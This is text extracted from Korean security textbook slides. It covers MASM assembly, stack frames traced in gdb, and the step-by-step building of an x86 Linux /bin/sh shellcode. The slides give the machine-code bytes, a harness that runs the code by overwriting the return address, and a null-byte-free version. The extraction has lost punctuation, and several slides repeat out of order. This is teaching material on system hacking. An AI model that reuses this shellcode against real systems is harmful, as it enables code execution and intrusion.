movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 55: 80×86  시스템에 대한 이해

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 56: 80×86  시스템에 대한 이해

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

